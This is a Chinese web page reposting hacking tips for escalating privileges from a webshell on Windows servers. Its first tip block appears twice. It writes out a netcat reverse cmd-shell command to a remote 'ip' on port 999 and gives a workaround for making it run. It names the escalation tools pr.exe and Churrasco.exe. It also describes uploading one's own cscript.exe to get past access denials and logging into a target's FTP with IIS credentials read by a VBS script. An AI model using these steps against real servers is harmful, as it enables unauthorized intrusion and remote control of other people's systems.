您现在的位置是：网站首页> 编程资料编程资料
webshell下提权两个小技巧分享_入侵防御_网络安全_
2023-05-24
296人已围观
简介 webshell下提权两个小技巧分享_入侵防御_网络安全_
webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入 -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功。
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入 -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功。
友情检测波尔远程控制官方网站
作者：MYC00l [Y.D.T]
第一处：把代码保存为1.vbs 上传到服务器上，执行cscript 1.vbs，又提示拒绝访问。
其实这里，我们只要自己上传一个cscript.exe 一般就可以解决问题，这个程序默认位于系统文件夹下，是win32 控制台下的脚本宿主引擎，用来执行vbs 等脚本程序的。
第二处：用VBS脚本查看到目标IIS帐号和密码后，CMD下FTP发现目标用的是微软FTP，直接用IIS帐号和密码登录进去了。
IIS帐号和密码和微软自带的FTP帐号和密码默认都是一样的。
相关内容
- ACCESS数据库后台sql语句执行导shell的方法_入侵防御_网络安全_
- 网站拿webshell一技巧_入侵防御_网络安全_
- serv_u提权记录: 530 Not logged in, home directory does not exist_入侵防御_网络安全_
- 手工注入拿到管理员密码登陆后台 图文_入侵防御_网络安全_
- 通过MySQL系统得到cmdshell的方法与防范_入侵防御_网络安全_
- 手动mysql 高级注入实例分析_入侵防御_网络安全_
- SQL注入攻击的种类和防范手段_入侵防御_网络安全_
- 饶过Xplog70.dll玩入侵(参考防范)_入侵防御_网络安全_
- Mysql 另类盲注中的一些技巧小结_入侵防御_网络安全_
- SQL注入中获取数据的一些技巧分析_入侵防御_网络安全_
